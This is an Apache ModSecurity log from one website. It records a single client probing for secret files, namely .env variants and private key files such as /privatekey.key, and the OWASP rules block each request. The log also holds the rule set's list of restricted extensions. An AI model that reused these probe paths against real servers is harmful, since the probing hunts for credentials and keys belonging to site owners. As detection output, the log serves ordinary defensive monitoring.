[Sun Oct 25 13:42:18.398450 2026] [security2:error] [pid 2873144:tid 2873144] [client 34.85.93.218:50796] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/tmp/.env"] [unique_id "at4_et0xbXd9S994rNKOFQAAABo"]
[Sun Oct 25 13:42:18.398973 2026] [security2:error] [pid 2873144:tid 2873144] [client 34.85.93.218:50796] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/tmp/.env"] [unique_id "at4_et0xbXd9S994rNKOFQAAABo"]
[Sun Oct 25 13:42:18.419740 2026] [security2:error] [pid 2873147:tid 2873147] [client 34.85.93.218:50890] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /conf/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/conf/.env"] [unique_id "at4_ehZgtJmP1ZCwXoKoXAAAAB0"]
[Sun Oct 25 13:42:18.420017 2026] [security2:error] [pid 2873147:tid 2873147] [client 34.85.93.218:50890] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/conf/.env"] [unique_id "at4_ehZgtJmP1ZCwXoKoXAAAAB0"]
[Sun Oct 25 13:42:18.420383 2026] [security2:error] [pid 2873147:tid 2873147] [client 34.85.93.218:50890] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/conf/.env"] [unique_id "at4_ehZgtJmP1ZCwXoKoXAAAAB0"]
[Sun Oct 25 13:42:18.422120 2026] [security2:error] [pid 2867834:tid 2867834] [client 34.85.93.218:50924] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /etc/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/etc/.env"] [unique_id "at4_eijnAS4eJh-ada2MzQAAAA0"]
[Sun Oct 25 13:42:18.422353 2026] [security2:error] [pid 2867834:tid 2867834] [client 34.85.93.218:50924] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/etc/.env"] [unique_id "at4_eijnAS4eJh-ada2MzQAAAA0"]
[Sun Oct 25 13:42:18.422709 2026] [security2:error] [pid 2867834:tid 2867834] [client 34.85.93.218:50924] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/etc/.env"] [unique_id "at4_eijnAS4eJh-ada2MzQAAAA0"]
[Sun Oct 25 13:42:18.432299 2026] [security2:error] [pid 2873153:tid 2873153] [client 34.85.93.218:50884] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /temp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/temp/.env"] [unique_id "at4_eug9pzNQjEGi_V9rkAAAACY"]
[Sun Oct 25 13:42:18.472916 2026] [security2:error] [pid 2873153:tid 2873153] [client 34.85.93.218:50884] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/temp/.env"] [unique_id "at4_eug9pzNQjEGi_V9rkAAAACY"]
[Sun Oct 25 13:42:18.473441 2026] [security2:error] [pid 2873153:tid 2873153] [client 34.85.93.218:50884] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/temp/.env"] [unique_id "at4_eug9pzNQjEGi_V9rkAAAACY"]
[Sun Oct 25 13:42:18.459178 2026] [security2:error] [pid 2872979:tid 2872979] [client 34.85.93.218:50956] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /env/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/env/.env"] [unique_id "at4_euRnh_MPFutbQ4Jk8wAAAAE"]
[Sun Oct 25 13:42:18.476862 2026] [security2:error] [pid 2872979:tid 2872979] [client 34.85.93.218:50956] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/env/.env"] [unique_id "at4_euRnh_MPFutbQ4Jk8wAAAAE"]
[Sun Oct 25 13:42:18.477328 2026] [security2:error] [pid 2872979:tid 2872979] [client 34.85.93.218:50956] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/env/.env"] [unique_id "at4_euRnh_MPFutbQ4Jk8wAAAAE"]
[Sun Oct 25 13:42:18.479413 2026] [security2:error] [pid 2873140:tid 2873140] [client 34.85.93.218:50756] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at4_epwbmFwznfsCF_-l4gAAABY"]
[Sun Oct 25 13:42:18.479721 2026] [security2:error] [pid 2873140:tid 2873140] [client 34.85.93.218:50756] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at4_epwbmFwznfsCF_-l4gAAABY"]
[Sun Oct 25 13:42:18.480055 2026] [security2:error] [pid 2873140:tid 2873140] [client 34.85.93.218:50756] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at4_epwbmFwznfsCF_-l4gAAABY"]
[Sun Oct 25 13:42:18.493865 2026] [security2:error] [pid 2873138:tid 2873138] [client 34.85.93.218:50850] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at4_ekro6bHDhZQ8Cou1VAAAABQ"]
[Sun Oct 25 13:42:18.494036 2026] [security2:error] [pid 2873138:tid 2873138] [client 34.85.93.218:50850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at4_ekro6bHDhZQ8Cou1VAAAABQ"]
[Sun Oct 25 13:42:18.494302 2026] [security2:error] [pid 2873138:tid 2873138] [client 34.85.93.218:50850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at4_ekro6bHDhZQ8Cou1VAAAABQ"]
[Sun Oct 25 13:42:18.460582 2026] [security2:error] [pid 2873146:tid 2873146] [client 34.85.93.218:50824] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /var/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/var/.env"] [unique_id "at4_emROfIjgFWURimb5wAAAABw"]
[Sun Oct 25 13:42:18.732193 2026] [security2:error] [pid 2873146:tid 2873146] [client 34.85.93.218:50824] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/var/.env"] [unique_id "at4_emROfIjgFWURimb5wAAAABw"]
[Sun Oct 25 13:42:18.732571 2026] [security2:error] [pid 2873146:tid 2873146] [client 34.85.93.218:50824] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/var/.env"] [unique_id "at4_emROfIjgFWURimb5wAAAABw"]
[Sun Oct 25 13:42:18.534139 2026] [security2:error] [pid 2873143:tid 2873143] [client 34.85.93.218:51064] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env_1"] [unique_id "at4_etANyK5EpBCn2dDqfQAAABk"]
[Sun Oct 25 13:42:18.743012 2026] [security2:error] [pid 2873143:tid 2873143] [client 34.85.93.218:51064] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env_1"] [unique_id "at4_etANyK5EpBCn2dDqfQAAABk"]
[Sun Oct 25 13:42:18.743255 2026] [security2:error] [pid 2873143:tid 2873143] [client 34.85.93.218:51064] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env_1"] [unique_id "at4_etANyK5EpBCn2dDqfQAAABk"]
[Sun Oct 25 13:42:18.714936 2026] [security2:error] [pid 2867836:tid 2867836] [client 34.85.93.218:50940] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.www"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.www"] [unique_id "at4_eknqvEndZSiuRU5OpgAAAA8"]
[Sun Oct 25 13:42:18.743783 2026] [security2:error] [pid 2867836:tid 2867836] [client 34.85.93.218:50940] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.www"] [unique_id "at4_eknqvEndZSiuRU5OpgAAAA8"]
[Sun Oct 25 13:42:18.744021 2026] [security2:error] [pid 2867836:tid 2867836] [client 34.85.93.218:50940] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env.www"] [unique_id "at4_eknqvEndZSiuRU5OpgAAAA8"]
[Sun Oct 25 13:42:18.765989 2026] [security2:error] [pid 2873147:tid 2873147] [client 34.85.93.218:50890] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env_sample"] [unique_id "at4_ehZgtJmP1ZCwXoKoXQAAAB0"]
[Sun Oct 25 13:42:18.834484 2026] [security2:error] [pid 2873147:tid 2873147] [client 34.85.93.218:50890] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env_sample"] [unique_id "at4_ehZgtJmP1ZCwXoKoXQAAAB0"]
[Sun Oct 25 13:42:18.834852 2026] [security2:error] [pid 2873147:tid 2873147] [client 34.85.93.218:50890] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/.env_sample"] [unique_id "at4_ehZgtJmP1ZCwXoKoXQAAAB0"]
[Sun Oct 25 13:42:18.871047 2026] [security2:error] [pid 2873144:tid 2873144] [client 34.85.93.218:50796] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "bases1.sherwinpinturas.com"] [uri "/privatekey.key"] [unique_id "at4_et0xbXd9S994rNKOFgAAABo"]
[Sun Oct 25 13:42:18.871336 2026] [security2:error] [pid 2873144:tid 2873144] [client 34.85.93.218:50796] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/privatekey.key"] [unique_id "at4_et0xbXd9S994rNKOFgAAABo"]
[Sun Oct 25 13:42:18.871567 2026] [security2:error] [pid 2873144:tid 2873144] [client 34.85.93.218:50796] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/privatekey.key"] [unique_id "at4_et0xbXd9S994rNKOFgAAABo"]
[Sun Oct 25 13:42:19.163827 2026] [security2:error] [pid 2873139:tid 2873139] [client 34.85.93.218:50772] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "bases1.sherwinpinturas.com"] [uri "/localhost.key"] [unique_id "at4_e5our3YxBmLR_JFxMgAAABU"]
[Sun Oct 25 13:42:19.164196 2026] [security2:error] [pid 2873139:tid 2873139] [client 34.85.93.218:50772] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases1.sherwinpinturas.com"] [uri "/localhost.key"] [unique_id "at4_e5our3YxBmLR_JFxMgAAABU"]
[Sun Oct 25 13:42:19.164478 2026] [security2:error] [pid 2873139:tid 2873139] [client 34.85.93.218:50772] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "bases1.sherwinpinturas.com"] [uri "/localhost.key"] [unique_id "at4_e5our3YxBmLR_JFxMgAAABU"]
